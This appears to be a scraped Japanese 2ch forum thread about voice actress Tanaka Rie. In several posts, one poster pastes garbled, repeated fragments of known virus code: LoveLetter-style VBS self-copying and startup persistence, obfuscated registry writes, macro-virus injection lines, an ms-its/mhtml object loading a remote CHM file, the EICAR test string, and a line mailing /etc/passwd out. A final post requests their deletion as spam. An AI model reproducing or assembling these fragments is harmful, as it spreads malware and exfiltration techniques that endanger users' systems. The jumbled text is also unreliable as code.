- 田中理恵 part51
808 :名無しさん@お腹いっぱい。[]:2006/07/10(月) 04:10:12 ID:gwfJdvd90 -
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1))) <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/ X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H* fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\" ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1) G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR")) lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93)) ms-its:mhtml:file://c:\ kak.hta';ken=wd+'START kill -9 xz/tSaBh0 Sub auto_open() Application.OnSheetActivate = "check_files" End Sub Sub check_files() c$ = Application.StartupPath m$ = Dir(c$ & "\" & "PERSONAL.XLS") If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0 If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0 whichfile = p + w * 10 End Sub
| - 田中理恵 part51
809 :名無しさん@お腹いっぱい。[]:2006/07/10(月) 04:11:54 ID:gwfJdvd90 -
c.Copy(dirwin&"\Win32DLL.vbs") c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs") <object data="ms-its:mhtml:file://C:\\MAIN.MHT!" type="text/ X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H* fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\" If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l" ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1) G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR")) lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93)) kak.hta';ken=wd+'START End Sub <body onload=window()> c.Copy(dirwin&"\Win32DLL.vbs") c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs") <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/ X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H* fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\" If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l" ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1) G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR")) lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93)) ms-its:mhtml:file://c:\ kak.hta';ken=wd+'START End Sub
| - 田中理恵 part51
810 :名無しさん@お腹いっぱい。[]:2006/07/10(月) 04:13:00 ID:gwfJdvd90 -
cat /etc/passwd | mail nobody@nonexistent.com If s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l" Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1))) fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\" c.Copy(dirsystem&"\MSKernel32.vbs") c.Copy(dirwin&"\Win32DLL.vbs") c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs") <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/ X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H* fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\" If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l" ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1) G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR")) lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93)) If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.Copy^^^^File f1.path, f1.path+"l" ms-its:mhtml:file://c:\ kak.hta';ken=wd+'START kill -9 xz/tSaBh0 Sub auto_open() Application.OnSheetActivate = "check_files" End Sub Sub check_files() c$ = Application.StartupPath m$ = Dir(c$ & "\" & "PERSONAL.XLS") If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0 If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0 whichfile = p + w * 10 End Sub
| - 田中理恵 part51
811 :名無しさん@お腹いっぱい。[]:2006/07/10(月) 04:14:52 ID:gwfJdvd90 - sage
<body onload=window()> If s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l" Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1))) fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\" c.Copy(dirsystem&"\MSKernel32.vbs") c.Copy(dirwin&"\Win32DLL.vbs") c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs") <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/ X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H* fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\" If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l" ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1) G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR")) lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93)) ms-its:mhtml:file://c:\ kak.hta';ken=wd+'START kill -9 xz/tSaBh0 Sub auto_open() Application.OnSheetActivate = "check_files" End Sub Sub check_files() c$ = Application.StartupPath m$ = Dir(c$ & "\" & "PERSONAL.XLS") If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0 If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0 whichfile = p + w * 10 End Sub
| - 田中理恵 part51
820 :名無しさん@お腹いっぱい。[]:2006/07/10(月) 08:44:45 ID:gwfJdvd90 - voiceactor:声優2[レス削除]
http://qb5.2ch.net/test/read.cgi/saku/1134888515/510 510 名前:よろしくぶるどっぐ :2006/07/10(月) 06:55:17 HOST:i219-164-3-174.s02.a013.ap.plala.or.jp 削除対象アドレス: ttp://anime.2ch.net/test/read.cgi/voiceactor/1151153131/760 ttp://anime.2ch.net/test/read.cgi/voiceactor/1151153131/763 ttp://anime.2ch.net/test/read.cgi/voiceactor/1151153131/808-811 ttp://anime.2ch.net/test/read.cgi/voiceactor/1151927572/34-37 ttp://anime.2ch.net/test/read.cgi/voiceactor/1151927572/40 ttp://anime.2ch.net/test/read.cgi/voiceactor/1151927572/67 ttp://anime.2ch.net/test/read.cgi/voiceactor/1151412029/350 ttp://anime.2ch.net/test/read.cgi/voiceactor/1151399654/164 ttp://anime.2ch.net/test/read.cgi/voiceactor/1143000447/790 ttp://anime.2ch.net/test/read.cgi/voiceactor/1141571435/953 ttp://anime.2ch.net/test/read.cgi/voiceactor/1129406043/524 ttp://anime.2ch.net/test/read.cgi/voiceactor/1150723373/443 ttp://anime.2ch.net/test/read.cgi/voiceactor/1150723373/581 ttp://anime.2ch.net/test/read.cgi/voiceactor/1149958414/276 ttp://anime.2ch.net/test/read.cgi/voiceactor/1149297168/829 削除理由・詳細・その他: 4. 投稿目的による削除対象 ・第三者を不快にする暴言 5. 掲示板・スレッドの趣旨とは違う投稿 ・故意にスレッドの運営・成長を妨害している 6. 連続投稿・重複 ・連続投稿・コピー&ペースト
|
|